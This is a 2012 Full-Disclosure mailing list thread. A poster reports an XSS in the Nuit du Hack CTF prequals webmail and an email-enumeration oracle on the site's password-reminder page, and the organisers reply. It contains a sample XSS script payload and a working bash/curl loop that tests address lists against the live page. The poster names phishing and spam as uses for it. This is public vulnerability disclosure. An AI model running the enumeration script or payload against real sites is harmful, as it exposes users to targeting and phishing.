Hi klondike,
> PS: What I wonder now is, are the guys behind the CTF reading
Full-disclosure?
I guess you now have your answer.
> The guys have a cool XSS injection on the fake webmail service which
can be exploited with a properly crafted subject
You're right, and it has been fixed during the prequals. Anyway, this
vulnerability is minor because teams couldn't send emails to each
others. At least, you can pwn your own web browser.
For the last vuln mentionned, we were aware of it. Guys who wrote the
code were seriously slapped.
Damien, NDH prequals team
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Le samedi 24 mars 2012 à 05:54 +0100, klondike a écrit :
El 24/03/12 05:27, klondike escribió:
So I was bored with the nuit du hack prequals and decided to test a
bit the e-mail service.
The guys have a cool XSS injection on the fake webmail service which
can be exploited with a properly crafted subject (i.e.
<script>alert('Hello!');</script> ). I thought the guys behind nuit
du hack were a bit more serious than this...
klondike
BTW and on completely unrelated note there is an attack which could
allow an attacker to guess the addresses of the participants as long
as they are on a database owned by him. This attack works by
consulting the page as if it were a yes/no oracle and using the
results to know wether an address is on the page database or not.
Usages of the attack? Well, trying to guess participants passwords,
phising attacks, spamming ... Pick your choice xD
And as with any good full disclosure here you go a nice script to
exploit it:
while read email; do curl -s -o-
http://prequals.nuitduhack.com/rememberme.php -d "mail=$email" |
fgrep '<div class="error">This mail doesn'\''t correspond to any
account</div>' > /dev/null && echo Failure || echo "$email"; done
Well don't be bad with it, participants have no fault of this,
klondike
PS: What I wonder now is, are the guys behind the CTF reading
Full-disclosure?
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/